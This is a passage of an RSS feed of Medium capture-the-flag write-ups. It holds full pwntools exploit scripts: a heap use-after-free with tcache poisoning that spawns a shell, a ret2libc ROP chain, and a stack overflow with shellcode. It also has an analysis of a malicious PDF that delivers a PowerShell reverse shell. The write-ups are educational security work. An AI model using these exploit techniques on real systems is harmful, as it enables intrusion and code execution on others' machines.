edit_note(io, 3) immediately after the corresponding chunks have been freed.</p><p>This UAF allows us to:<br>1.Leak Information: Read the metadata of a freed chunk to obtain a libc address.</p><p>2.Corrupt Heap Metadata: Write to the fd (forward pointer) of a freed chunk to control the next allocation address (Tcache Poisoning).</p><h3>3. Exploitation Strategy:</h3><p>The goal is to gain arbitrary code execution, which can be achieved by hijacking the execution flow. The most reliable target for a controlled write in modern glibc is the __free_hook function pointer. By overwriting __free_hook with the address of the system function, a subsequent call to free(chunk) will execute system(chunk). If the chunk content is /bin/sh, we get a shell.</p><p>The strategy is divided into two main phases:</p><h4>Phase 1: Libc Base Address Leak:</h4><p>1.Allocate for Unsorted Bin: Allocate a large chunk (e.g., 0x500) and a smaller chunk to prevent the large chunk from consolidating with the top chunk upon freeing.</p><p>2.Trigger Unsorted Bin: Free the large chunk. Since the size is too large for the Tcache, it is placed into the Unsorted Bin.</p><p>3.Leak Address: The glibc heap implementation writes the address of the main arena (a libc address) into the fd and bk pointers of the freed chunk. Using the UAF vulnerability (show_note), we read the content of the freed chunk to obtain this libc address.</p><p>4.Calculate Base: We use the leaked address and the known offset (determined by analyzing the provided libc.so.6) to calculate the base address of libc.</p><h4>Phase 2: Tcache Poisoning and Hook Hijack:</h4><p>1.Allocate and Free Small Chunks: Allocate two small chunks of the same size (e.g., 0x80) and free them. These chunks will be placed in the Tcache list.</p><p>2.UAF to Corrupt fd: Use the UAF vulnerability (edit_note) on the second freed chunk to overwrite its fd pointer. We set the fd pointer to the address of __free_hook. This is the core of Tcache Poisoning.</p><p>3.Allocate to __free_hook: Allocate two new chunks of the same size.</p><p>•The first allocation returns the first chunk in the Tcache list.</p><p>•The second allocation returns the chunk whose fd pointer we corrupted, which is now __free_hook.</p><p>4.Overwrite __free_hook: Write the address of system into the newly allocated chunk, effectively setting __free_hook = system.</p><p>5.Trigger Shell: Allocate a final chunk containing the string /bin/sh\x00. Then, call delete_note on this chunk. This executes free(“/bin/sh”), which is redirected to system(“/bin/sh”), granting us a shell.</p><h3>4. The Solver Script:</h3><p>The following Python script, using the pwntools library, implements the strategy described above.</p><pre>#!/usr/bin/env python3<br>from pwn import *<br><br># Configuration<br>BINARY = &#39;./chall&#39;<br>LIBC = &#39;./libc.so.6&#39;<br>HOST = &#39;ctf.nexus-security.club&#39;<br>PORT = 2808<br><br># Context setup<br>context.binary = elf = ELF(BINARY, checksec=False)<br>libc = ELF(LIBC, checksec=False)<br>context.log_level = &#39;info&#39;<br>context.timeout = 5<br><br># Helper functions for interacting with the challenge<br>def add_note(io, idx, size, content):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;1&#39;)<br>    io.sendlineafter(b&#39;: &#39;, str(idx).encode())<br>    io.sendlineafter(b&#39;: &#39;, str(size).encode())<br>    io.sendafter(b&#39;: &#39;, content)<br><br>def delete_note(io, idx):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;2&#39;)<br>    io.sendlineafter(b&#39;: &#39;, str(idx).encode())<br><br>def show_note(io, idx):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;3&#39;)<br>    io.sendlineafter(b&#39;: &#39;, str(idx).encode())<br><br>def edit_note(io, idx, content):<br>    io.sendlineafter(b&#39;&gt; &#39;, b&#39;4&#39;)<br>    io.sendlineafter(b&#39;: &#39;, str(idx).encode())<br>    io.sendafter(b&#39;: &#39;, content)<br><br>def exploit():<br>    # Connect to the remote target<br>    io = remote(HOST, PORT)<br>    <br>    try:<br>        # --- Phase 1: Libc Leak via Unsorted Bin UAF ---<br>        log.info(&quot;Step 1: Leaking libc address...&quot;)<br>        <br>        # Allocate large chunk (0x500) and a guard chunk (0x100)<br>        # The large chunk will go to the unsorted bin upon free.<br>        add_note(io, 0, 0x500, b&#39;A&#39; * 0x10)<br>        add_note(io, 1, 0x100, b&#39;B&#39; * 0x10)<br>        <br>        # Free the large chunk (UAF is now possible on index 0)<br>        delete_note(io, 0)<br>        <br>        # Use UAF to read the unsorted bin&#39;s fd/bk pointers (libc address)<br>        show_note(io, 0)<br>        io.recvuntil(b&#39;: &#39;)<br>        leak = io.recv(8)<br>        libc_leak = u64(leak.ljust(8, b&#39;\x00&#39;))<br>        log.success(f&quot;Libc leak: {hex(libc_leak)}&quot;)<br>        <br>        # Calculate libc base address using the known offset<br>        # Offset 0x1ecbe0 is the difference between the leaked address and libc base in the provided libc.<br>        libc_base = libc_leak - 0x1ecbe0<br>        libc.address = libc_base<br>        log.success(f&quot;Libc base: {hex(libc.address)}&quot;)<br>        <br>        # Resolve necessary addresses<br>        free_hook = libc.symbols[&#39;__free_hook&#39;]<br>        system = libc.symbols[&#39;system&#39;]<br>        log.info(f&quot;__free_hook address: {hex(free_hook)}&quot;)<br>        log.info(f&quot;system address: {hex(system)}&quot;)<br>        <br>        # --- Phase 2: Tcache Poisoning to Hijack __free_hook ---<br>        log.info(&quot;Step 2: Tcache poisoning...&quot;)<br>        <br>        # Allocate three chunks of size 0x80 (tcache size 0x90)<br>        add_note(io, 2, 0x80, b&#39;C&#39; * 0x10)<br>        add_note(io, 3, 0x80, b&#39;D&#39; * 0x10)<br>        # Chunk 4 will hold the command string<br>        add_note(io, 4, 0x80, b&#39;/bin/sh\x00&#39;)<br>        <br>        # Free chunks 2 and 3. They are now in the 0x90 tcache list: 3 -&gt; 2 -&gt; NULL<br>        delete_note(io, 2)<br>        delete_note(io, 3)<br>        <br>        # UAF on chunk 3 to corrupt its fd pointer.<br>        # The tcache list is now: 3 (fd=2) -&gt; 2 (fd=NULL)<br>        # We overwrite 3&#39;s fd to point to __free_hook.<br>        edit_note(io, 3, p64(free_hook))<br>        <br>        # The tcache list is now: 3 (fd=__free_hook) -&gt; __free_hook (fd=...)<br>        <br>        # First allocation (index 5) returns chunk 3<br>        add_note(io, 5, 0x80, b&#39;E&#39; * 0x10)<br>        # Second allocation (index 6) returns __free_hook<br>        # This is the poisoned allocation.<br>        add_note(io, 6, 0x80, p64(system))<br>        <br>        # __free_hook is now overwritten with the address of system()<br>        log.success(f&quot;__free_hook successfully overwritten with {hex(system)}&quot;)<br>        <br>        # --- Phase 3: Trigger Shell ---<br>        log.info(&quot;Step 3: Triggering shell...&quot;)<br>        <br>        # Calling delete_note(4) executes free(chunk_4)<br>        # Since chunk 4 contains &quot;/bin/sh\x00&quot; and __free_hook is system,<br>        # this executes system(&quot;/bin/sh&quot;).<br>        delete_note(io, 4)<br>        <br>        # Interact with the shell to retrieve the flag<br>        io.sendline(b&#39;cat flag.txt&#39;)<br>        io.sendline(b&#39;cat flag*&#39;)<br>        io.sendline(b&#39;ls&#39;)<br>        <br>        # Wait for output and print it<br>        io.interactive()<br>        <br>    except Exception as e:<br>        log.error(f&quot;Error: {e}&quot;)<br>        io.close()<br>        raise<br>    <br>    io.close()<br><br>if __name__ == &#39;__main__&#39;:<br>    exploit()</pre><p>running this exploit gives us :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*UNdweqXQ4pC0KpAAMhFvqg.jpeg" /></figure><h3>5. Conclusion:</h3><p>The “Ghostnote” challenge is a well-designed heap exploitation problem that tests knowledge of modern glibc heap management, specifically the Tcache and Unsorted Bin. The Use-After-Free vulnerability was successfully leveraged in two distinct ways: first, to leak a libc address from the Unsorted Bin’s metadata, and second, to perform Tcache Poisoning to achieve an arbitrary write to the __free_hook. Overwriting __free_hook with the address of system allowed for a simple system(“/bin/sh”) call upon the final free operation, leading to a shell and the retrieval of the flag.</p><h4>Final Flag: nexus{h3ap_u4f_t0_tcache_p0is0ning_is_fun}.</h4><p>If you have made it here, thank you so much for reading, i enjoyed this ctf and enjoyed writing this writeup, please leave a follow and recommend to a friend and check my other writeups!! Bye bye ╰(*°▽°*)╯.</p><p>Follow my teams insta account :<br><a href="https://www.instagram.com/nuero_black/?utm_source=ig_web_button_share_sheet">https://www.instagram.com/nuero_black/?utm_source=ig_web_button_share_sheet</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d1480185c165" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Flagyard “reader” pwn challenge]]></title>
            <link>https://medium.com/@3mksaad1600/flagyard-reader-pwn-challenge-2c01deb30349?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c01deb30349</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[flagyard]]></category>
            <category><![CDATA[pwned]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 11:15:30 GMT</pubDate>
            <atom:updated>2025-11-18T11:15:30.039Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wK37zH2FW8FLQJ2NqrDl2A.png" /></figure><h3>PWN Challenge: “Reader” — Detailed Solution:</h3><p>The challenge was solved by chaining a <strong>Buffer Overflow</strong> vulnerability with an <strong>Information Leak</strong> to perform a <strong>Return-to-Libc (ret2libc)</strong> attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*yH5g5xRub0p1gqobol_lQA.png" /></figure><p>we notice that an information leak is required.</p><h3>2. Vulnerability and Offset:</h3><p>Disassembly of the main function revealed the vulnerability:</p><ul><li><strong>Buffer Size</strong>: 112 bytes (0x70) allocated on the stack.</li><li><strong>Read Size</strong>: 256 bytes (0x100) read into the buffer using read(0, buffer, 0x100).</li><li><strong>Overflow</strong>: The overflow is large enough to overwrite the saved RBP and the return address.</li><li><strong>Offset</strong>: The padding required to reach the return address is <strong>120 bytes</strong> (112 bytes for the buffer + 8 bytes for the saved RBP).</li></ul><h3>3. Exploitation Steps:</h3><p>The exploit is executed in two phases due to the PIE protection:</p><h4>Phase 1: Information Leak (Defeating PIE):</h4><p>The program loops and allows reading a file. We exploit this feature to read the process’s memory map, which contains the runtime base addresses of the executable and libc.so.6.</p><ol><li><strong>Send Input</strong>: Send /proc/self/maps as the file to read.</li><li><strong>Receive Output</strong>: The program prints the memory map.</li><li><strong>Parse</strong>: The exploit script parses the output to find the base address of libc.so.6. This allows us to calculate the absolute address of any function or gadget within the library.</li></ol><h4>Phase 2: Ret2libc Attack (Defeating NX):</h4><p>With the libc base address, we construct a ROP chain to execute system(&quot;/bin/sh&quot;).</p><ol><li><strong>Calculate Addresses</strong>:</li></ol><ul><li>system() address: libc_base + offset_of_system</li><li>&quot;/bin/sh&quot; string address: libc_base + offset_of_binsh</li><li>pop rdi; ret gadget address: libc_base + offset_of_pop_rdi</li><li>ret gadget address: libc_base + offset_of_ret (for stack alignment)</li></ul><p><strong>2. Build Payload</strong>: The payload is constructed to overwrite the return address with the ROP chain:</p><pre>[120 bytes Padding] + [pop rdi] + [&quot;/bin/sh&quot;] + [ret] + [system]</pre><p>3. <strong>Execute</strong>: The payload is sent in the second iteration of the program loop, redirecting execution to the ROP chain, which calls system(&quot;/bin/sh&quot;) and grants a shell.</p><h3>4. Final Exploit Script:</h3><p>This script uses the pwntools library to automate the entire process. Note that the port is set to 30610 for the last successful run, u should change the script host and port based on your generated instance.</p><p>Python</p><pre>#!/usr/bin/env python3<br><br>from pwn import *<br>context.arch = &#39;amd64&#39;<br>context.log_level = &#39;info&#39;<br># --- Configuration ---<br># Change the port here for different instances<br>HOST = &#39;34.252.33.37&#39;<br>PORT = 30610<br>io = remote(HOST, PORT)<br># Load the provided binary and libc for symbol and offset calculation<br># The local files &#39;reader&#39; and &#39;libc.so.6&#39; must be present<br>elf = ELF(&#39;./reader&#39;, checksec=False)<br>libc = ELF(&#39;./libc.so.6&#39;, checksec=False)<br># --- Step 1: Leak Addresses ---<br>log.info(&quot;Leaking addresses from /proc/self/maps&quot;)<br>io.sendlineafter(b&#39;give me file to read: &#39;, b&#39;/proc/self/maps&#39;)<br>maps_data = io.recvuntil(b&#39;give me file to read: &#39;, timeout=5)<br># Parse base addresses from the memory map<br>elf_base = None<br>libc_base = None<br>for line in maps_data.decode().split(&#39;\n&#39;):<br>    # Check for the executable&#39;s base address (named &#39;run&#39; on the remote server)<br>    if (&#39;reader&#39; in line or &#39;run&#39; in line) and &#39;r-xp&#39; in line:<br>        addr_range = line.split()[0]<br>        # Adjust for the PIE offset<br>        elf_base = int(addr_range.split(&#39;-&#39;)[0], 16) - 0x1000<br>    <br>    # Check for the libc base address<br>    if &#39;libc&#39; in line and &#39;r-xp&#39; in line:<br>        addr_range = line.split()[0]<br>        # Adjust for the PIE offset<br>        libc_base = int(addr_range.split(&#39;-&#39;)[0], 16) - 0x28000<br>if not libc_base:<br>    log.error(&quot;Failed to parse libc base address!&quot;)<br>    io.interactive()<br>    exit(1)<br>log.success(f&quot;Libc base: {hex(libc_base)}&quot;)<br># --- Step 2: Calculate ROP Chain Components ---<br>system = libc_base + libc.symbols[&#39;system&#39;]<br>binsh = libc_base + next(libc.search(b&#39;/bin/sh&#39;))<br># ROP Gadgets (offsets are specific to the provided libc.so.6)<br>pop_rdi = libc_base + 0x10f75b  # pop rdi; ret<br>ret = libc_base + 0x2882f       # ret (for stack alignment)<br># --- Step 3: Build and Send Payload ---<br># Offset to overwrite the return address is 120 bytes<br>offset = 120<br>payload = b&#39;A&#39; * offset<br>payload += p64(pop_rdi)  # 1. Load address of &quot;/bin/sh&quot; into RDI<br>payload += p64(binsh)    # 2. Address of &quot;/bin/sh&quot;<br>payload += p64(ret)      # 3. Stack alignment<br>payload += p64(system)   # 4. Call system()<br>log.info(f&quot;Sending payload ({len(payload)} bytes)&quot;)<br>io.send(payload)<br># --- Step 4: Interact and Get Flag ---<br>time.sleep(1)<br>log.success(&quot;Shell spawned! Trying to get flag...&quot;)<br>io.sendline(b&#39;cat flag*&#39;)<br>io.interactive()</pre><pre>after running it you&#39;ll get this :</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ny_XapsgjMpd5tJ8M7LepA.png" /></figure><pre>please note that the script should be ran next to the challenge the script should be next to your challenge file so that it works, like this:</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*fpbvxs5l8fZq8P-T6x68Ww.png" /></figure><pre>then when u run the script it will work!, if you enjoyed this write up and found it helpful check out my other write ups, and follow :).</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c01deb30349" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybereto reverse engineering ctf write-up]]></title>
            <link>https://medium.com/@3mksaad1600/cybereto-reverse-engineering-ctf-write-up-325c8274dc78?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/325c8274dc78</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 13:47:13 GMT</pubDate>
            <atom:updated>2025-11-15T13:47:13.687Z</atom:updated>
            <content:encoded><![CDATA[<p>Challenge overview: <br>A member of Cyber-eto accounting team inadvertently executed a malicious payload after opening a PDF file, which was disguised as information about Al-Khwarizmi and received from a personal contact.</p><p>Flag format:</p><p>cybereto{IP_PortNumber}</p><p>Flag example:</p><p>cybereto{192.168.1.1_4325}</p><h3>Technical Write-Up: Analysis of Malicious PDF Payload:</h3><h3>Incident Overview:</h3><p>The Cyber-eto accounting team was compromised after a member opened a PDF file, <strong>Khwarizmi_BEA.pdf</strong>, which was a trojanized document. The goal of this analysis was to perform static malware analysis to extract the Command and Control (C2) server’s IP address and port number to construct the flag.</p><h3>Phase 1: Initial PDF Analysis and Deobfuscation:</h3><p>The initial step involved extracting the PDF from the provided ZIP archive and performing a preliminary analysis of its structure.</p><ol><li><strong>File Extraction:</strong> The file files(2).zip was extracted to reveal Khwarizmi_BEA.pdf.</li><li><strong>Structural Examination:</strong> The PDF was examined for suspicious elements commonly used in malicious documents, such as embedded scripts or actions that execute automatically. Using the grep utility on the deobfuscated PDF content (achieved via qpdf --qdf), the following suspicious keywords were identified:</li></ol><ul><li>/OpenAction: Indicates an action to be performed when the document is opened.</li><li>/JS or /JavaScript: Indicates the presence of embedded JavaScript code.</li></ul><p>The analysis confirmed the presence of an <strong>/OpenAction</strong> that triggered a large block of JavaScript code. This JavaScript was the first stage of the payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*JTTtsEO5w_mS0DMIglhUJA.png" /></figure><h3>Phase 3: PowerShell Deobfuscation:</h3><p>The decrypted PowerShell script was designed to hide the final C2 connection details through multiple layers of encoding and manipulation.</p><ol><li><strong>PowerShell Obfuscation:</strong> The script used the following techniques:</li></ol><ul><li>A large Base64-encoded string ($best64code).</li><li><strong>String Reversal:</strong> The script explicitly reverses the Base64 string using [array]::Reverse($base64).</li><li><strong>Base64 Padding Logic:</strong> The script includes logic to handle Base64 padding (=) before decoding.</li><li><strong>Dynamic Execution:</strong> The final payload was executed using an alias for IEX (Invoke-Expression), which is a common technique to evade detection.</li></ul><p><strong>2: Second-Stage Decryption:</strong> A second Python script was created to reverse the obfuscation steps:</p><ul><li>Reverse the Base64 string ($best64code).</li><li>Apply the necessary Base64 padding.</li><li>Decode the resulting string from Base64.</li></ul><h3>Phase 4: Final Payload and Indicator Extraction:</h3><p>The final deobfuscation step revealed the clear-text PowerShell script, which is a standard <strong>reverse shell</strong> payload.</p><p>The critical lines for network indicators were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*zOSgTvNG_ZNXvAaXyJAGMw.png" /></figure><h3>Conclusion:</h3><p>The malicious PDF executed a multi-stage payload, ultimately attempting to establish a reverse shell connection to a C2 server. The required network indicators were successfully extracted from the final, deobfuscated PowerShell script.</p><p>The flag is constructed as follows:<br>cybereto{192.168.1.100_7878}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=325c8274dc78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SafeFeed Challenge Write-up]]></title>
            <link>https://medium.com/@3mksaad1600/safefeed-challenge-write-up-4b6300087b2f?source=rss-e1dedd3b090c------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b6300087b2f</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pwned]]></category>
            <dc:creator><![CDATA[3mksaad1600]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 19:21:29 GMT</pubDate>
            <atom:updated>2025-11-14T19:26:16.203Z</atom:updated>
            <content:encoded><![CDATA[<p>cybereto ctf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2q46ZjTpAG1QQQSp" /></figure><h3>Flag:</h3><p>Plain Text:</p><pre>cybereto{H0W_d1d_Y0u_g0t_th3_Sh3ll}</pre><h3>Vulnerability Analysis:</h3><p>The binary is a 32-bit ELF executable with a <strong>Stack-based Buffer Overflow</strong> vulnerability in the receive_feedback function, which calls the CAF function.</p><ol><li><strong>Buffer Layout</strong>: The buffer is located at ebp-0x4c, and the stack canary is at ebp-0xc. This gives a <strong>64-byte offset</strong> from the buffer start to the canary.</li><li><strong>Stack Canary</strong>: The canary value is hardcoded to 0xbadc00de. This must be preserved to prevent the program from exiting.</li><li><strong>“C Firewall” Filter</strong>: The CAF function contains a check that compares the first 64 bytes of the input against two hardcoded patterns: 64 &#39;A&#39;s and 64 &#39;a&#39;s. If a match is found, it prints &quot;you triggered the C Firewall; exiting ....&quot; and terminates. This is a simple anti-exploitation measure.</li><li><strong>Exploitation Gadget</strong>: The function secret_function at address 0x080491a6 contains the instruction sequence ending in jmp *%esp. This is a classic <strong>Return-to-Stack (Ret2Stack)</strong> or <strong>Ret2ESP</strong> technique, as it allows us to redirect execution to code placed on the stack. The stack is also marked as <strong>RWE (Read-Write-Execute)</strong>, meaning NX (No-Execute) protection is disabled.</li></ol><h3>Exploit Strategy:</h3><p>The goal is to overwrite the return address to jump to secret_function, which will then execute our shellcode placed immediately after the return address on the stack.</p><ol><li><strong>Bypass C Firewall</strong>: Use padding bytes other than ‘A’ or ‘a’ (e.g., ‘B’ = 0x42) for the first 64 bytes.</li><li><strong>Preserve Canary</strong>: Insert the correct canary value (0xbadc00de) at the 64-byte mark.</li><li><strong>Overwrite Return Address</strong>: Overwrite the saved EBP and the return address with the address of secret_function (0x080491a6).</li><li><strong>Execute Shellcode</strong>: Place a shellcode that reads the flag file and prints it to the socket, which will be executed when secret_function performs jmp *%esp.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*En3LEvNIN1xXcR2AAej6Kg.png" /></figure><h3>Working Exploit Code:</h3><p>The shellcode is designed to open flag.txt (or flag if the first fails), read its contents, write the output to stdout (file descriptor 1), and then exit cleanly.</p><p>Python:</p><pre>from pwn import *<br><br>context.update(arch=&#39;i386&#39;, os=&#39;linux&#39;)<br><br>HOST = &quot;161.97.155.116&quot;<br>PORT = 1339<br><br>CANARY = 0xbadc00de<br>WIN_ADDR = 0x080491a6  # secret_function<br><br>shellcode = asm(&#39;&#39;&#39;<br>    /* open(&quot;flag.txt&quot;, O_RDONLY) */<br>    xor eax, eax<br>    push eax<br>    push 0x7478742e<br>    push 0x67616c66<br>    mov ebx, esp<br>    xor ecx, ecx<br>    mov al, 5<br>    int 0x80<br>    <br>    /* If open failed, try &quot;flag&quot; */<br>    test eax, eax<br>    jns read_file<br>    <br>    xor eax, eax<br>    push eax<br>    push 0x67616c66<br>    mov ebx, esp<br>    xor ecx, ecx<br>    mov al, 5<br>    int 0x80<br>    <br>    read_file:<br>    /* read(fd, buf, 200) */<br>    mov ebx, eax<br>    sub esp, 200<br>    mov ecx, esp<br>    xor edx, edx<br>    mov dl, 200<br>    xor eax, eax<br>    mov al, 3<br>    int 0x80<br>    <br>    /* write(1, buf, count) */<br>    mov edx, eax<br>    xor ebx, ebx<br>    inc ebx<br>    xor eax, eax<br>    mov al, 4<br>    int 0x80<br>    <br>    /* exit(0) */<br>    xor eax, eax<br>    inc eax<br>    xor ebx, ebx<br>    int 0x80<br>&#39;&#39;&#39;)<br><br># Construct the final payload<br>payload = b&#39;B&#39; * 64 + p32(CANARY) + b&#39;C&#39; * 12 + p32(WIN_ADDR) + shellcode<br><br># Connect and send<br>r = remote(HOST, PORT)<br>r.recvuntil(b&quot;:&quot;)<br>r.sendline(payload)<br><br># Receive the flag<br>result = r.recvall(timeout=3).decode(errors=&#39;ignore&#39;)<br>r.close()<br><br></pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b6300087b2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>